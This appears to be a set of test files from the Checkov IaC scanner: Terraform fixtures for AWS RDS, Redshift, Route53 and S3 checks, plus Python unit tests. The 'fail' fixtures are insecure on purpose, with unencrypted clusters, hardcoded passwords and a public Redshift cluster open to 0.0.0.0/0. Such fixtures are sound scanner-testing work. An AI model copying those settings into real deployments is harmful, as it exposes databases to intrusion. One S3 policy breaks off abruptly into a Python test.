iam_database_authentication_enabled = false } # unknown resource "aws_rds_cluster" "unknown" { master_username = "username" master_password = "password" engine = "aurora-postgresql" } ================================================ FILE: tests/terraform/checks/resource/aws/example_RDSClusterAuroraBacktrack/main.tf ================================================ resource "aws_rds_cluster" "pass" { cluster_identifier = "aurora-cluster-demo" engine = "aurora-mysql" engine_version = "5.7.mysql_aurora.2.03.2" availability_zones = ["us-west-2a", "us-west-2b", "us-west-2c"] database_name = "mydb" master_username = "foo" master_password = "bar" backtrack_window = 7 backup_retention_period = 5 preferred_backup_window = "07:00-09:00" } resource "aws_rds_cluster" "pass2" { cluster_identifier = "aurora-cluster-demo" availability_zones = ["us-west-2a", "us-west-2b", "us-west-2c"] database_name = "mydb" master_username = "foo" master_password = "bar" backtrack_window = 7 backup_retention_period = 5 preferred_backup_window = "07:00-09:00" } resource "aws_rds_cluster" "fail" { cluster_identifier = "aurora-cluster-demo" availability_zones = ["us-west-2a", "us-west-2b", "us-west-2c"] database_name = "mydb" master_username = "foo" master_password = "bar" backtrack_window = 0 backup_retention_period = 5 preferred_backup_window = "07:00-09:00" } resource "aws_rds_cluster" "fail2" { cluster_identifier = "aurora-cluster-demo" availability_zones = ["us-west-2a", "us-west-2b", "us-west-2c"] database_name = "mydb" master_username = "foo" master_password = "bar" backup_retention_period = 5 preferred_backup_window = "07:00-09:00" } resource "aws_rds_cluster" "postgresql" { cluster_identifier = "aurora-cluster-demo" engine = "aurora-postgresql" availability_zones = ["us-west-2a", "us-west-2b", "us-west-2c"] database_name = "mydb" master_username = "foo" master_password = "bar" backup_retention_period = 5 preferred_backup_window = "07:00-09:00" } ================================================ FILE: tests/terraform/checks/resource/aws/example_RDSClusterCopyTags/main.tf ================================================ resource "aws_rds_cluster" "fail" { cluster_identifier = "example" availability_zones = ["us-west-2a", "us-west-2b", "us-west-2c"] engine = "mysql" db_cluster_instance_class = "db.r6gd.xlarge" storage_type = "io1" allocated_storage = 100 iops = 1000 master_username = "test" master_password = "mustbeeightcharaters" # checkov:skip=CKV_SECRET_6 test secret } resource "aws_rds_cluster" "fail2" { cluster_identifier = "example" availability_zones = ["us-west-2a", "us-west-2b", "us-west-2c"] engine = "mysql" db_cluster_instance_class = "db.r6gd.xlarge" storage_type = "io1" allocated_storage = 100 iops = 1000 master_username = "test" master_password = "mustbeeightcharaters" copy_tags_to_snapshot = false } resource "aws_rds_cluster" "pass" { cluster_identifier = "example" availability_zones = ["us-west-2a", "us-west-2b", "us-west-2c"] engine = "mysql" db_cluster_instance_class = "db.r6gd.xlarge" storage_type = "io1" allocated_storage = 100 iops = 1000 master_username = "test" master_password = "mustbeeightcharaters" copy_tags_to_snapshot = true } ================================================ FILE: tests/terraform/checks/resource/aws/example_RDSClusterEncryptedWithCMK/main.tf ================================================ # pass resource "aws_rds_cluster" "pass" { master_username = "username" master_password = "password" storage_encrypted = true iam_database_authentication_enabled = true kms_key_id = aws_kms_key.pike.arn } # failure resource "aws_rds_cluster" "fail" { master_username = "username" master_password = "password" } ================================================ FILE: tests/terraform/checks/resource/aws/example_RDSClusterIAMAuthentication/main.tf ================================================ # pass resource "aws_rds_cluster" "enabled" { master_username = "username" master_password = "password" iam_database_authentication_enabled = true } # failure resource "aws_rds_cluster" "default" { master_username = "username" master_password = "password" } resource "aws_rds_cluster" "disabled" { master_username = "username" master_password = "password" iam_database_authentication_enabled = false } ================================================ FILE: tests/terraform/checks/resource/aws/example_RDSClusterLogging/main.tf ================================================ resource "aws_rds_cluster" "pass" { master_username = "username" master_password = "password" enabled_cloudwatch_logs_exports = ["audit"] iam_database_authentication_enabled = true } resource "aws_rds_cluster" "fail" { master_username = "username" master_password = "password" } ================================================ FILE: tests/terraform/checks/resource/aws/example_RDSEncryption/main.tf ================================================ # pass resource "aws_db_instance" "enabled" { name = "name" engine = "mysql" instance_class = "db.t3.micro" storage_encrypted = true } # fail resource "aws_db_instance" "default" { name = "name" engine = "mysql" instance_class = "db.t3.micro" } resource "aws_db_instance" "disabled" { name = "name" engine = "mysql" instance_class = "db.t3.micro" storage_encrypted = False } ================================================ FILE: tests/terraform/checks/resource/aws/example_RDSHasSecurityGroup/main.tf ================================================ resource "aws_db_security_group" "exists" { name = "rds_sg" ingress { cidr = "10.0.0.0/24" } } ================================================ FILE: tests/terraform/checks/resource/aws/example_RDSIAMAuthentication/main.tf ================================================ # pass resource "aws_db_instance" "enabled_mysql" { allocated_storage = 5 engine = "postgres" instance_class = "db.t3.small" password = "password" username = "username" iam_database_authentication_enabled = true } resource "aws_db_instance" "enabled_postgres" { allocated_storage = 5 engine = "postgres" instance_class = "db.t3.small" password = "password" username = "username" iam_database_authentication_enabled = true } # failure resource "aws_db_instance" "default_mysql" { allocated_storage = 5 engine = "mysql" instance_class = "db.t3.small" password = "password" username = "username" } resource "aws_db_instance" "default_postgres" { allocated_storage = 5 engine = "postgres" instance_class = "db.t3.small" password = "password" username = "username" } resource "aws_db_instance" "disabled_mysql" { allocated_storage = 5 engine = "postgres" instance_class = "db.t3.small" password = "password" username = "username" iam_database_authentication_enabled = false } resource "aws_db_instance" "disabled_postgres" { allocated_storage = 5 engine = "postgres" instance_class = "db.t3.small" password = "password" username = "username" iam_database_authentication_enabled = false } # unknown resource "aws_db_instance" "mariadb" { allocated_storage = 5 engine = "mariadb" instance_class = "db.t3.small" password = "password" username = "username" } ================================================ FILE: tests/terraform/checks/resource/aws/example_RDSInstanceAutoBackupEncryptionWithCMK/main.tf ================================================ resource "aws_db_instance_automated_backups_replication" "fail" { source_db_instance_arn = "arn:aws:rds:us-west-2:123456789012:db:mydatabase" retention_period = 14 } resource "aws_db_instance_automated_backups_replication" "pass" { source_db_instance_arn = "arn:aws:rds:us-west-2:123456789012:db:mydatabase" kms_key_id = "arn:aws:kms:us-east-1:123456789012:key/12345678-1234-1234-1234-123456789012" } ================================================ FILE: tests/terraform/checks/resource/aws/example_RDSInstanceDeletionProtection/main.tf ================================================ resource "aws_db_instance" "fail" { cluster_identifier = "aurora-cluster-demo" availability_zones = ["us-west-2a", "us-west-2b", "us-west-2c"] database_name = "mydb" master_username = "foo" master_password = "bar" backup_retention_period = 5 preferred_backup_window = "07:00-09:00" deletion_protection = false instance_class = "m4.large" } resource "aws_db_instance" "fail2" { cluster_identifier = "aurora-cluster-demo" availability_zones = ["us-west-2a", "us-west-2b", "us-west-2c"] database_name = "mydb" master_username = "foo" master_password = "bar" backup_retention_period = 5 preferred_backup_window = "07:00-09:00" instance_class = "m4.large" } resource "aws_db_instance" "pass" { cluster_identifier = "aurora-cluster-demo" availability_zones = ["us-west-2a", "us-west-2b", "us-west-2c"] database_name = "mydb" master_username = "foo" master_password = "bar" backup_retention_period = 5 preferred_backup_window = "07:00-09:00" deletion_protection = true instance_class = "m4.large" } ================================================ FILE: tests/terraform/checks/resource/aws/example_RDSInstancePerfInsightsEncryptionWithCMK/main.tf ================================================ resource "aws_db_instance" "fail" { cluster_identifier = "aurora-cluster-demo" availability_zones = ["us-west-2a", "us-west-2b", "us-west-2c"] database_name = "mydb" master_username = "foo" master_password = "bar" backup_retention_period = 5 preferred_backup_window = "07:00-09:00" instance_class = "m4.large" performance_insights_enabled = true } resource "aws_db_instance" "pass" { cluster_identifier = "aurora-cluster-demo" availability_zones = ["us-west-2a", "us-west-2b", "us-west-2c"] database_name = "mydb" master_username = "foo" master_password = "bar" backup_retention_period = 5 preferred_backup_window = "07:00-09:00" deletion_protection = true instance_class = "m4.large" performance_insights_enabled = true performance_insights_kms_key_id = aws_kms_key.pike.arn } resource "aws_rds_cluster_instance" "fail" { identifier = "aurora-cluster-demo-${count.index}" cluster_identifier = aws_rds_cluster.default.id instance_class = "db.r4.large" engine = aws_rds_cluster.default.engine engine_version = aws_rds_cluster.default.engine_version performance_insights_enabled = true } resource "aws_rds_cluster_instance" "pass" { identifier = "aurora-cluster-demo-${count.index}" cluster_identifier = aws_rds_cluster.default.id instance_class = "db.r4.large" engine = aws_rds_cluster.default.engine engine_version = aws_rds_cluster.default.engine_version performance_insights_enabled = true performance_insights_kms_key_id = aws_kms_key.pike.arn } resource "aws_db_instance" "pass_empty" { } resource "aws_db_instance" "pass_insights_disabled" { performance_insights_enabled = false } ================================================ FILE: tests/terraform/checks/resource/aws/example_RDSInstancePerformanceInsights/main.tf ================================================ resource "aws_db_instance" "fail" { cluster_identifier = "aurora-cluster-demo" availability_zones = ["us-west-2a", "us-west-2b", "us-west-2c"] database_name = "mydb" master_username = "foo" master_password = "bar" backup_retention_period = 5 preferred_backup_window = "07:00-09:00" deletion_protection = false instance_class = "m4.large" } resource "aws_db_instance" "fail2" { cluster_identifier = "aurora-cluster-demo" availability_zones = ["us-west-2a", "us-west-2b", "us-west-2c"] database_name = "mydb" master_username = "foo" master_password = "bar" backup_retention_period = 5 preferred_backup_window = "07:00-09:00" instance_class = "m4.large" performance_insights_enabled = false } resource "aws_db_instance" "pass" { cluster_identifier = "aurora-cluster-demo" availability_zones = ["us-west-2a", "us-west-2b", "us-west-2c"] database_name = "mydb" master_username = "foo" master_password = "bar" backup_retention_period = 5 preferred_backup_window = "07:00-09:00" deletion_protection = true instance_class = "m4.large" performance_insights_enabled = true } resource "aws_rds_cluster_instance" "fail" { identifier = "aurora-cluster-demo-${count.index}" cluster_identifier = aws_rds_cluster.default.id instance_class = "db.r4.large" engine = aws_rds_cluster.default.engine engine_version = aws_rds_cluster.default.engine_version } resource "aws_rds_cluster_instance" "fail2" { identifier = "aurora-cluster-demo-${count.index}" cluster_identifier = aws_rds_cluster.default.id instance_class = "db.r4.large" engine = aws_rds_cluster.default.engine engine_version = aws_rds_cluster.default.engine_version performance_insights_enabled = false } resource "aws_rds_cluster_instance" "pass" { identifier = "aurora-cluster-demo-${count.index}" cluster_identifier = aws_rds_cluster.default.id instance_class = "db.r4.large" engine = aws_rds_cluster.default.engine engine_version = aws_rds_cluster.default.engine_version performance_insights_enabled = true } resource "aws_db_instance" "unknown_engine_class_combo" { allocated_storage = 20 storage_type = "gp2" engine = "mariadb" engine_version = "10.5" instance_class = "db.t3.micro" name = "mydatabase" username = "admin" password = "yourpassword" # Use a more secure method for production parameter_group_name = "default.mariadb10.5" skip_final_snapshot = true tags = { Name = "MyMariaDBInstance" } } resource "aws_rds_cluster_instance" "unknown_engine_defaultclass_combo" { identifier = "aurora-cluster-demo-${count.index}" cluster_identifier = aws_rds_cluster.default.id instance_class = "db.t2.small" engine = aws_rds_cluster.default.engine engine_version = aws_rds_cluster.default.engine_version } resource "aws_rds_cluster_instance" "unknown_engine_class_combo" { identifier = "aurora-cluster-demo-${count.index}" cluster_identifier = aws_rds_cluster.default.id instance_class = "db.t2.small" engine = "mysql" engine_version = aws_rds_cluster.default.engine_version } ================================================ FILE: tests/terraform/checks/resource/aws/example_RDSMultiAZEnabled/main.tf ================================================ # fail resource "aws_db_instance" "disabled" { name = "name" engine = "mysql" identifier = "id" instance_class = "foo" multi_az = false } # fail resource "aws_db_instance" "default" { name = "name" engine = "mysql" identifier = "id" instance_class = "foo" } # pass resource "aws_db_instance" "enabled" { name = "name" engine = "mysql" identifier = "id" instance_class = "foo" multi_az = true } ================================================ FILE: tests/terraform/checks/resource/aws/example_RDSPostgreSQLLogFDWExtension/main.tf ================================================ # pass resource "aws_db_instance" "pass" { name = "name" instance_class = "db.t3.micro" engine = "postgres" engine_version = "13.3" } resource "aws_rds_cluster" "pass" { engine = "aurora-postgresql" engine_version = "11.9" } # fail resource "aws_db_instance" "fail" { name = "name" instance_class = "db.t3.micro" engine = "postgres" engine_version = "13.2" } resource "aws_rds_cluster" "fail" { engine = "aurora-postgresql" engine_version = "11.8" } resource "aws_db_instance" "fail_old" { name = "name" instance_class = "db.t3.micro" engine = "postgres" engine_version = "9.6.21" } # unknown resource "aws_rds_cluster" "mysql_v1" { } resource "aws_db_instance" "mysql" { name = "name" engine = "mysql" instance_class = "db.t3.micro" } resource "aws_db_instance" "postgres_unknown" { name = "name" instance_class = "db.t3.micro" engine = "postgres" engine_version = var.engine_version } resource "aws_db_instance" "unknown_two_parts" { name = "name" instance_class = "db.t3.micro" engine = "postgres" engine_version = "9.6" } ================================================ FILE: tests/terraform/checks/resource/aws/example_RedShiftSSL/main.tf ================================================ resource "aws_redshift_parameter_group" "failasfalse" { name = var.param_group_name family = "redshift-1.0" parameter { name = "require_ssl" value = "false" } parameter { name = "enable_user_activity_logging" value = "true" } } resource "aws_redshift_parameter_group" "fail" { name = var.param_group_name family = "redshift-1.0" } resource "aws_redshift_parameter_group" "pass" { name = var.param_group_name family = "redshift-1.0" parameter { name = "require_ssl" value = "true" } parameter { name = "enable_user_activity_logging" value = "true" } } resource "aws_redshift_parameter_group" "passbutbool" { name = var.param_group_name family = "redshift-1.0" parameter { name = "require_ssl" value = true } parameter { name = "enable_user_activity_logging" value = "true" } } ================================================ FILE: tests/terraform/checks/resource/aws/example_RedshiftClusterAutoSnap/main.tf ================================================ resource "aws_redshift_cluster" "pass" { cluster_identifier = "examplea" availability_zone = data.aws_availability_zones.available.names[0] database_name = "mydb" master_username = "foo_test" master_password = "Mustbe8characters" # checkov:skip=CKV_SECRET_6 test secret node_type = "dc2.large" automated_snapshot_retention_period = 7 allow_version_upgrade = false skip_final_snapshot = true encrypted = true kms_key_id = aws_kms_key.test.arn } resource "aws_redshift_cluster" "pass2" { cluster_identifier = "examplea" availability_zone = data.aws_availability_zones.available.names[0] database_name = "mydb" master_username = "foo_test" master_password = "Mustbe8characters" node_type = "dc2.large" allow_version_upgrade = false skip_final_snapshot = true encrypted = true kms_key_id = aws_kms_key.test.arn } resource "aws_redshift_cluster" "fail" { cluster_identifier = "examplea" availability_zone = data.aws_availability_zones.available.names[0] database_name = "mydb" master_username = "foo_test" master_password = "Mustbe8characters" node_type = "dc2.large" automated_snapshot_retention_period = 0 allow_version_upgrade = false skip_final_snapshot = true encrypted = true } ================================================ FILE: tests/terraform/checks/resource/aws/example_RedshiftClusterDatabaseName/main.tf ================================================ resource "aws_redshift_cluster" "pass" { cluster_identifier = "examplea" availability_zone = data.aws_availability_zones.available.names[0] database_name = "mydb" master_username = "foo_test" master_password = "Mustbe8characters" # checkov:skip=CKV_SECRET_6 test secret node_type = "dc2.large" automated_snapshot_retention_period = 0 allow_version_upgrade = false skip_final_snapshot = true encrypted = true kms_key_id = aws_kms_key.test.arn } resource "aws_redshift_cluster" "fail" { cluster_identifier = "examplea" availability_zone = data.aws_availability_zones.available.names[0] master_username = "foo_test" master_password = "Mustbe8characters" node_type = "dc2.large" automated_snapshot_retention_period = 0 allow_version_upgrade = false skip_final_snapshot = true encrypted = true } ================================================ FILE: tests/terraform/checks/resource/aws/example_RedshiftClusterUseEnhancedVPCRouting/main.tf ================================================ resource "aws_redshift_cluster" "pass" { cluster_identifier = "examplea" availability_zone = data.aws_availability_zones.available.names[0] database_name = "mydb" master_username = "foo_test" master_password = "Mustbe8characters" # checkov:skip=CKV_SECRET_6 test secret node_type = "dc2.large" automated_snapshot_retention_period = 0 allow_version_upgrade = false skip_final_snapshot = true encrypted = true kms_key_id = aws_kms_key.test.arn enhanced_vpc_routing = true } resource "aws_redshift_cluster" "fail" { cluster_identifier = "examplea" availability_zone = data.aws_availability_zones.available.names[0] master_username = "foo_test" master_password = "Mustbe8characters" node_type = "dc2.large" automated_snapshot_retention_period = 0 allow_version_upgrade = false skip_final_snapshot = true encrypted = true } resource "aws_redshift_cluster" "fail2" { cluster_identifier = "examplea" availability_zone = data.aws_availability_zones.available.names[0] master_username = "foo_test" master_password = "Mustbe8characters" node_type = "dc2.large" automated_snapshot_retention_period = 0 allow_version_upgrade = false skip_final_snapshot = true encrypted = true enhanced_vpc_routing = false } ================================================ FILE: tests/terraform/checks/resource/aws/example_RedshiftClusterWithCommonUsernameAndPublicAccess/main.tf ================================================ provider "aws" { region = "us-west-2" } resource "aws_redshift_cluster" "fail" { cluster_identifier = "vulnerable-redshift-cluster" database_name = "productiondb" master_username = "administrator" master_password = "Complex-P@ssw0rd789" node_type = "dc2.large" cluster_type = "single-node" publicly_accessible = true skip_final_snapshot = true vpc_security_group_ids = [aws_security_group.redshift_sg.id] } resource "aws_security_group" "redshift_sg" { name = "vulnerable-redshift-sg" description = "Security group for vulnerable Redshift cluster" ingress { from_port = 5439 to_port = 5439 protocol = "tcp" cidr_blocks = ["0.0.0.0/0"] } } provider "aws" { region = "us-west-2" } resource "aws_redshift_cluster" "pass1" { cluster_identifier = "safe-redshift-cluster" database_name = "productiondb" master_username = "custom_user_84629" master_password = "vK#9mP$2nL@5qR8x" node_type = "dc2.large" cluster_type = "single-node" publicly_accessible = false skip_final_snapshot = true vpc_security_group_ids = [aws_security_group.safe_redshift_sg.id] encrypted = true kms_key_id = aws_kms_key.redshift_key.arn } resource "aws_kms_key" "redshift_key" { description = "KMS key for Redshift cluster encryption" enable_key_rotation = true } resource "aws_security_group" "safe_redshift_sg" { name = "safe-redshift-sg" description = "Security group for safe Redshift cluster" ingress { from_port = 5439 to_port = 5439 protocol = "tcp" cidr_blocks = ["10.0.0.0/16"] # Restricted to internal VPC CIDR } } resource "aws_redshift_cluster" "pass2" { cluster_identifier = "vulnerable-redshift-cluster" database_name = "productiondb" master_username = "administrator" master_password = "Complex-P@ssw0rd789" node_type = "dc2.large" cluster_type = "single-node" publicly_accessible = false skip_final_snapshot = true vpc_security_group_ids = [aws_security_group.redshift_sg.id] } resource "aws_redshift_cluster" "pass3" { cluster_identifier = "vulnerable-redshift-cluster" database_name = "productiondb" master_username = "adm1n1str@t0r" master_password = "Complex-P@ssw0rd789" node_type = "dc2.large" cluster_type = "single-node" publicly_accessible = true skip_final_snapshot = true vpc_security_group_ids = [aws_security_group.redshift_sg.id] } ================================================ FILE: tests/terraform/checks/resource/aws/example_RedshiftInEc2ClassicMode/main.tf ================================================ resource "aws_redshift_cluster" "fail" { cluster_identifier = "redshift-defaults-only" node_type = "dc2.large" master_password = "Test1234" master_username = "test" skip_final_snapshot = true } resource "aws_redshift_cluster" "pass" { cluster_identifier = "redshift-defaults-only" node_type = "dc2.large" master_password = "Test1234" master_username = "test" skip_final_snapshot = true cluster_subnet_group_name = "subnet-ebd9cead" } ================================================ FILE: tests/terraform/checks/resource/aws/example_RedshiftServerlessNamespaceKMSKey/main.tf ================================================ resource "aws_redshiftserverless_namespace" "fail" { namespace_name = "test-fail-namespace" } resource "aws_redshiftserverless_namespace" "pass" { namespace_name = "test-pass-namespace" kms_key_id = aws_kms_key.example.arn } ================================================ FILE: tests/terraform/checks/resource/aws/example_RedshiftSnapshotCopyGrantEncryptedWithCMK/main.tf ================================================ resource "aws_redshift_snapshot_copy_grant" "pass" { snapshot_copy_grant_name = "my-grant" kms_key_id = aws_kms_key.test.arn } resource "aws_redshift_snapshot_copy_grant" "fail" { snapshot_copy_grant_name = "my-grant" } ================================================ FILE: tests/terraform/checks/resource/aws/example_Route53TransferLock/main.tf ================================================ resource "aws_route53domains_registered_domain" "pass_missing" { domain_name = "example.com" name_server { name = "ns-195.awsdns-24.com" } name_server { name = "ns-874.awsdns-45.net" } tags = { Environment = "test" } } resource "aws_route53domains_registered_domain" "pass_true" { domain_name = "example.com" transfer_lock = true name_server { name = "ns-195.awsdns-24.com" } name_server { name = "ns-874.awsdns-45.net" } tags = { Environment = "test" } } resource "aws_route53domains_registered_domain" "fail" { domain_name = "example.com" transfer_lock = false name_server { name = "ns-195.awsdns-24.com" } name_server { name = "ns-874.awsdns-45.net" } tags = { Environment = "test" } } ================================================ FILE: tests/terraform/checks/resource/aws/example_S3AbortIncompleteUploads/main.tf ================================================ # fail resource "aws_s3_bucket_lifecycle_configuration" "fail" { # Must have bucket versioning enabled first depends_on = [aws_s3_bucket_versioning.versioning] bucket = aws_s3_bucket.versioning_bucket.id rule { id = "config" filter { prefix = "config/" } noncurrent_version_expiration { noncurrent_days = 90 } noncurrent_version_transition { noncurrent_days = 30 storage_class = "STANDARD_IA" } noncurrent_version_transition { noncurrent_days = 60 storage_class = "GLACIER" } status = "Enabled" } } resource "aws_s3_bucket_lifecycle_configuration" "fail2" { bucket = aws_s3_bucket.bucket.id rule { abort_incomplete_multipart_upload { days_after_initiation = 7 } id = "log" expiration { days = 90 } filter { and { prefix = "log/" tags = { rule = "log" autoclean = "true" } } } status = "Enabled" transition { days = 30 storage_class = "STANDARD_IA" } transition { days = 60 storage_class = "GLACIER" } } rule { id = "tmp" filter { prefix = "tmp/" } expiration { date = "2023-01-13T00:00:00Z" } status = "Enabled" } } resource "aws_s3_bucket_lifecycle_configuration" "fail3" { bucket = aws_s3_bucket.bucket.id rule { abort_incomplete_multipart_upload { days_after_initiation = 7 } id = "log" status = "Disabled" } } # pass resource "aws_s3_bucket_lifecycle_configuration" "pass2" { bucket = aws_s3_bucket.bucket.id rule { abort_incomplete_multipart_upload { days_after_initiation = 7 } id = "log" expiration { days = 90 } status = "Enabled" transition { days = 30 storage_class = "STANDARD_IA" } transition { days = 60 storage_class = "GLACIER" } } rule { id = "id-2" status = "Enabled" noncurrent_version_expiration { noncurrent_days = 1 } } } resource "aws_s3_bucket_lifecycle_configuration" "pass" { bucket = aws_s3_bucket.bucket.id rule { abort_incomplete_multipart_upload { days_after_initiation = 7 } id = "log" expiration { days = 90 } filter { and { prefix = "log/" tags = { rule = "log" autoclean = "true" } } } status = "Enabled" transition { days = 30 storage_class = "STANDARD_IA" } transition { days = 60 storage_class = "GLACIER" } } rule { abort_incomplete_multipart_upload { days_after_initiation = 7 } id = "tmp" expiration { date = "2023-01-13T00:00:00Z" } status = "Enabled" } } resource "aws_s3_bucket_lifecycle_configuration" "pass3" { bucket = aws_s3_bucket.bucket.id rule { abort_incomplete_multipart_upload { days_after_initiation = 7 } filter {} id = "log" status = "Enabled" } } resource "aws_s3_bucket_lifecycle_configuration" "resource_with_dynamic_rule_pass4" { bucket = aws_s3_bucket.main.bucket rule { id = "abort_incomplete_multipart_upload" status = "Enabled" abort_incomplete_multipart_upload { days_after_initiation = var.config.abort_incomplete_multipart_upload } } dynamic "rule" { for_each = local.lifecycle_rules.storage_class content { id = "storage_class_is_${var.config.storage_class}" status = "Enabled" transition { storage_class = var.config.storage_class } } } } ================================================ FILE: tests/terraform/checks/resource/aws/example_S3AccessPointPubliclyAccessible/main.tf ================================================ resource "aws_s3_access_point" "pass" { bucket = aws_s3_bucket.example.id name = "example-access-point" public_access_block_configuration { block_public_acls = true ignore_public_acls = true block_public_policy = true restrict_public_buckets = true } } resource "aws_s3_access_point" "pass_missing" { bucket = aws_s3_bucket.example.id name = "example-access-point" } resource "aws_s3_access_point" "fail" { bucket = aws_s3_bucket.example.id name = "example-access-point" public_access_block_configuration { block_public_acls = false ignore_public_acls = false block_public_policy = false restrict_public_buckets = false } } ================================================ FILE: tests/terraform/checks/resource/aws/example_S3AllowsAnyPrincipal/main.tf ================================================ resource "aws_s3_bucket" "unknown" { bucket = "bucket" } resource "aws_s3_bucket" "fail3" { bucket = "bucket" policy = < None: # make sure nothing is in the cache BaseTerraformCloudsplainingIAMScanner.policy_document_cache = {} def tearDown(self) -> None: BaseTerraformCloudsplainingIAMScanner.policy_document_cache = {} def test(self): # given test_files_dir = Path(__file__).parent / "example_IAMStarResourcePolicyDocument" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_iam_policy.pass", "aws_iam_policy.pass_unrestrictable", "aws_iam_role_policy.pass", "aws_iam_user_policy.pass", "aws_iam_group_policy.pass", "aws_ssoadmin_permission_set_inline_policy.pass" } failing_resources = { "aws_iam_policy.fail", "aws_iam_role_policy.fail", "aws_iam_user_policy.fail", "aws_iam_group_policy.fail", "aws_ssoadmin_permission_set_inline_policy.fail" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_IAMUserNotUsedForAccess.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.IAMUserNotUsedForAccess import check from checkov.terraform.runner import Runner class TestIAMUserNotUsedForAccess(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_IAMUserNotUsedForAccess" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = set() failing_resources = { "aws_iam_user.bad", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_IAMUserRootAccessKeys.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.IAMUserRootAccessKeys import check from checkov.terraform.runner import Runner class TestIAMUserRootAccessKeys(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_IAMUserRootAccessKeys" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_iam_access_key.pass", } failing_resources = { 'aws_iam_access_key.fail' } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_IAMWriteAccess.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.IAMWriteAccess import check from checkov.terraform.runner import Runner class TestIAMWriteAccess(unittest.TestCase): def setUp(self): from checkov.terraform.checks.utils.base_cloudsplaining_iam_scanner import BaseTerraformCloudsplainingIAMScanner # needs to be reset, because the cache belongs to the class not instance BaseTerraformCloudsplainingIAMScanner.policy_document_cache = {} def test(self): test_files_dir = Path(__file__).parent / "example_IAMWriteAccess" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_iam_policy.restrictable", "aws_iam_policy.unrestrictable", } failing_resources = { "aws_iam_policy.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(report.failed_checks[0].check_result.get('evaluated_keys'), ['policy/Statement/[0]/Action']) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_IMDSv1Disabled.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.IMDSv1Disabled import check from checkov.terraform.runner import Runner class TestIMDSv1Disabled(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_IMDSv1Disabled" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_instance.required", "aws_launch_configuration.required_lc", "aws_instance.disabled" } failing_resources = { "aws_instance.defaults", "aws_instance.optional_token", "aws_launch_configuration.optional_lc", "aws_launch_template.optional_lt", "aws_launch_template.default_lt" } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 3) self.assertEqual(summary["failed"], 5) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_ImagebuilderComponentEncryptedWithCMK.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.ImagebuilderComponentEncryptedWithCMK import check from checkov.terraform.runner import Runner class TestImagebuilderComponentEncryptedWithCMK(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ImagebuilderComponentEncryptedWithCMK" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_imagebuilder_component.pass", } failing_resources = { "aws_imagebuilder_component.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_ImagebuilderDistributionConfigurationEncryptedWithCMK.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.ImagebuilderDistributionConfigurationEncryptedWithCMK import check from 